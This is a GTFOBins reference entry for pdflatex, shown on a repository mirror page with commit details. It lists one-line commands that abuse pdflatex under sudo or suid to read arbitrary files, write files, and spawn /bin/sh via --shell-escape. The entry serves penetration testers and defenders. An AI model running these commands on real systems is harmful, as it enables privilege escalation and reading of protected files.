1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 06:31:33 +01:00
GTFOBins.github.io/_gtfobins/pdflatex
Emanuel Duss 81222477df Add latex and pdflatex file write
Close #433.

Co-Authored-By: Andrea Cardaci <cyrus.and@gmail.com>
2026-01-17 22:27:54 +01:00

31 lines
932 B
Plaintext

---
functions:
file-read:
- code: |-
pdflatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{/path/to/input-file}\end{document}'
pdftotext texput.pdf -
comment: |-
The read file will be part of the PDF output.
contexts:
sudo:
suid:
unprivileged:
file-write:
- code: |-
pdflatex '\documentclass{article}\newwrite\tempfile\begin{document}\immediate\openout\tempfile=output-file.tex\immediate\write\tempfile{DATA}\immediate\closeout\tempfile\end{document}'
comment: |-
The file can only be written in the current directory, and the `.tex` extension is mandatory.
contexts:
sudo:
suid:
unprivileged:
shell:
- code: |-
pdflatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
contexts:
sudo:
suid:
shell: true
unprivileged:
...